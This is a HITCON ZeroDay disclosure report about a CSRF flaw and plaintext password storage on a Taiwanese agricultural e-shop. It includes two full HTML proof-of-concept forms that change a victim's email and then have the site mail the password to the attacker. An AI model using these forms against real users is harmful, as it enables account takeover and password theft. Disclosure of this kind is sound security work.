南農電舖--台灣在地優質農漁產品專賣店 修改會員資料 CSRF + 資料庫密碼明碼儲存 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-00474
  •  發信 Vendor: 南農電舖--台灣在地優質農漁產品專賣店
  • Title: 南農電舖--台灣在地優質農漁產品專賣店 修改會員資料 CSRF + 資料庫密碼明碼儲存
  • Introduction: 修改會員資料 CSRF + 資料庫密碼明碼儲存

處理狀態

目前狀態

公開
Last Update : 2025/07/28
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/05/28 15:34:30 : 新提交 (由 yusheng 更新此狀態)
  • 2025/06/02 21:22:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 14:58:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 14:58:27 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/06/12 14:58:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/07/28 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-00474
  • 通報者:cat1528985 (yusheng)
  • 風險:高
  • 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)

參考資料

攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。

漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.buy.org.tw/Member/AjaxMember.aspx
https://www.buy.org.tw/Member/MemModify.aspx

敘述

重現漏洞方式:

  1. 使用者在南農電鋪是登入狀態
  2. 使用者進入攻擊者精心設計的網頁(buy-member-edit.html),點擊送出按鈕,此時使用者的 email 已被修改成功攻擊者的 email
  3. 使用者進入攻擊者精心設計的網頁(buy-forgot-password.html),點擊送出按鈕,此時系統會發送密碼到攻擊者的 email
  4. 攻擊者就可以去 email 收信,竊取使用者的密碼

buy-member-edit.html(修改會員 email)

<!DOCTYPE html>
<html lang="zh-TW">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>會員註冊表單</title>
</head>

<body>
  <h1>會員註冊</h1>

  <form
    action="https://www.buy.org.tw/Member/AjaxMember.aspx"
    method="POST"
    enctype="application/x-www-form-urlencoded"
  >
    <div>
      <label for="args0">Args0:</label>
      <input type="text" id="args0" name="args0" value="E" readonly>
    </div>

    <div>
      <label for="memName">姓名:</label>
      <input type="text" id="memName" name="memName" value="123">
    </div>

    <div>
      <label for="memGender">性別:</label>
      <select id="memGender" name="memGender">
        <option value="M" selected>男性</option>
        <option value="F">女性</option>
      </select>
    </div>

    <div>
      <label for="memTel">電話:</label>
      <input type="tel" id="memTel" name="memTel" value="">
    </div>

    <div>
      <label for="memCell">手機:</label>
      <input type="tel" id="memCell" name="memCell" value="0900000000">
    </div>

    <div>
      <label for="memLineID">Line ID:</label>
      <input type="text" id="memLineID" name="memLineID" value="">
    </div>

    <div>
      <label for="memEmail">Email:</label>
      <input type="email" id="memEmail" name="memEmail" value="">
    </div>

    <div>
      <label for="memBirthday">生日:</label>
      <input type="date" id="memBirthday" name="memBirthday" value="1900-01-01">
    </div>

    <div>
      <label for="memCity">城市:</label>
      <input type="text" id="memCity" name="memCity" value="C" readonly>
    </div>

    <div>
      <label for="memZone">區域:</label>
      <input type="text" id="memZone" name="memZone" value="200" readonly>
    </div>

    <div>
      <label for="memAddr">地址:</label>
      <input type="text" id="memAddr" name="memAddr" value="">
    </div>

    <div>
      <label for="fastEmployee">快速員工:</label>
      <input type="text" id="fastEmployee" name="fastEmployee" value="" readonly>
    </div>

    <div>
      <input type="submit" value="提交">
    </div>
  </form>
</body>

</html>

buy-forgot-password.html(忘記密碼 => 發送密碼到 email)

<!DOCTYPE html>
<html lang="zh-Hant">
<head>
  <meta charset="UTF-8">
  <title>Forgot Password</title>
</head>
<body>
  <form action="https://www.buy.org.tw/Member/AjaxMember.aspx" method="POST">
    <input type="hidden" name="args0" value="G" readonly>

    <label for="memEmail">Email:</label>
    <input type="email" id="memEmail" name="memEmail" value="">

    <button type="submit">提交</button>
  </form>
</body>
</html>

POC 影片:https://drive.google.com/file/d/1J1Dn2cCE3qNHUtqKNWEuEPJsuXiUMxvZ/view?usp=drive_link

影響:

  1. 使用者的會員資料在不知情的情況下被修改
  2. 攻擊者透過 email 可得知使用者的密碼

修補建議

修改會員資料的API Endpoint
https://www.buy.org.tw/Member/MemModify.aspx
實作CSRF Token

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;